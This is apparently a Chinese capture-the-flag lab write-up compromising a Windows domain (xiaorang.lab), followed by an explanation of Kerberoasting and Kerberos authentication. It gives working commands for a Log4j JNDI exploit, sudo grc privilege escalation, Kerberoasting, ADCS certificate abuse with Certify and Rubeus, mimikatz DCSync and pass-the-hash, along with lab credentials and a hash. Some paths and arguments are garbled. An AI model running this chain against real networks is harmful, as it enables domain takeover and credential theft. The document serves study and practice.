共计 3156 个字符,预计需要花费 8 分钟才能阅读完成。
flag01
先端口扫描后再目录爆破,但是不知道为什么 Tscan 端口扫描不显示,最后用的 Yakit 端口扫描
(死慢死慢的,怀疑故意用来浪费沙砾)
目录爆破发现资产 solr(其实会自己重定向)

有 log4j,那么肯定打 CVE 了
Java chains 不知道为什么坠机了,就用 JNDIExploithttps://github.com/0x727/JNDIExploit
ubuntu@VM-12-16-ubuntu:~/JNDIExploit.v1.2$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i "1x3.20x.xx.xx"

成功拿到初步立足点

sudo - l 发现 grc

使用 grc 的 –pty 功能提权拿到 flag

flag02
开个 vshell 进行横向
上线后依旧上 fscan

整理一下
172.22.9.19: 入口 IP
172.22.9.7: 域控制器 DC
172.22.9.26: 域成员
172.22.9.47: 文件服务器
先看看文件服务器有啥

把 DB 文件和 flag 先拿下来


db 文件里面一堆神秘小密码

那就来爆破一下 rdp 吧
获得了两个账号,但是无法远程登录
zhangjian/i9XDE02pLVf和liupeng/fiAzGwEMgTY
打Kerberoast 攻击
使用 GetUserSPNs.py 寻找注册在域用户下的 SPN
proxychains python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
这里的话是有两个用户,我们拿到的是chenchen/@Passw0rd@
然后 rdp 连上去看看
proxychains4 xfreerdp /v:172.22.9.26 /u:chenchen /p:'@Passw0rd@' /d:XIAORANG.LAB /dynamic-resolution +clipboard

权限不太够,需要提权
后面域渗透的过程由于有其他事情,就没有写 wp 直接打的,直接贴别人的指令
工具:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
后面就是域渗透环节
使用 GetUserSPNs.py 寻找注册在域用户下的 SPN
为域管申请证书:
Certify.exe request /ca:CA01.xiaorang.labxiaorang-CA01-CA /template:"XR Manager" /altname:XIAORAN
转换格式:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
请求 TGT,PTT
密码留空就行
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
获取到域管的票据后上传 mimikatz 导出哈希
DcSync 攻击:
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
然后就是打 hash 传递,不了解 hash 传递攻击可以看看 之前的文章
flag03
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type UsersAdministratorflagflag03.txt"

flag04
横向域控制器:
proxychains python3 wmiexec.py -hashes 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7

参考:https://xz.aliyun.com/news/11563
Kerberoast 攻击
概念:
Kerberoasting 是一种针对 Windows 域环境(Active Directory)的经典离线密码攻击技术。它利用了 Kerberos 协议在设计上的一个特性:允许任何域用户为任何注册了 SPN(Service Principal Name) 的服务账户请求加密票据。
什么是 SPN
SPN,ServicePrincipal Names,即服务主体名称,是服务实例(比如:HTTP、SMB、MySQL 等服务)在使用 Kerberos 身份验证的网络上的唯一标识符,其由服务类、主机名和端口组成。Kerberos 认证过程使用 SPN 将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户或域用户帐户下为服务器注册 SPN。对于内置机器帐户,SPN 将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。
SPN 分为两种类型:
一种是注册在活动目录的机器帐户(Computers)下。当一个服务的权限为 Local System 或 Network Service 时,则 SPN 注册在机器帐户(Computers)下。
另一种是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户时,则 SPN 注册在域用户帐户(Users)下。
原理:
在 Kerberos 认证流程中,当一个用户想要访问某个服务(如 SQL Server、IIS 等)时,会向域控制器(DC)申请一份 TGS(服务票据)。
认证流程
在 Kerberos 协议框架下,一个用户从登录到最终访问某个服务(如访问共享文件夹或数据库),需要经历经典的 三阶段、六步走 流程。
第一阶段:AS 交换
目的: 证明“我是谁”。用户向域控(DC)证明自己的身份,并拿到一张 TGT(票据授予票据)。
- AS-REQ (请求):用户(Client)输入账号密码。客户端将当前时间戳用 用户密码的哈希值 加密,发送给域控的 AS(认证服务)。
-
AS-REP (响应):AS 用数据库里存储的该用户哈希尝试解密。如果成功,说明身份属实。AS 返回:
-
TGT:包含用户信息和 Session Key,由 **KDC 秘钥(krbtgt 账户哈希)加密(客户端解不开)。
-
Login Session Key:由用户哈希加密,客户端解开后保存,用于后续通讯。
-
第二阶段:TGS 交换
目的: 证明“我想去哪”。用户拿着入场券 TGT,去换取访问特定服务的 TGS(服务票据)。
-
TGS-REQ (请求):用户拿着 TGT 和请求的服务名(SPN)发给域控的 TGS(票据授予服务)。
-
TGS-REP (响应):TGS 服务验证 TGT 无误后,返回一份 TGS 票据。
-
这份 TGS 是用该 服务账户(Service Account)的哈希值 加密的。
-
这也是 Kerberoasting 攻击发生的点:攻击者虽然解不开 TGS,但可以把它导出来离线爆破。
-
第三阶段:AP 交换
目的: 证明“我有权访问”。用户拿着 TGS 去找真正的服务器(如 SQL Server)。
-
AP-REQ (请求):用户将 TGS 发送给目标应用服务器。
-
AP-REP (响应)(可选):服务器使用自己的哈希解开 TGS,确认用户身份。如果配置了相互认证,服务器也会向用户证明自己的身份。验证通过后,服务正式开启。

使用 Rubeus 工具
https://github.com/GhostPack/Rubeus
这是一个专门针对 Kerberos 的工具包。
离线破解服务票据,获得有价值的 SPN。需要满足以下条件:
- 该 SPN 注册在域用户帐户 (Users) 下
- 域用户账户的权限很高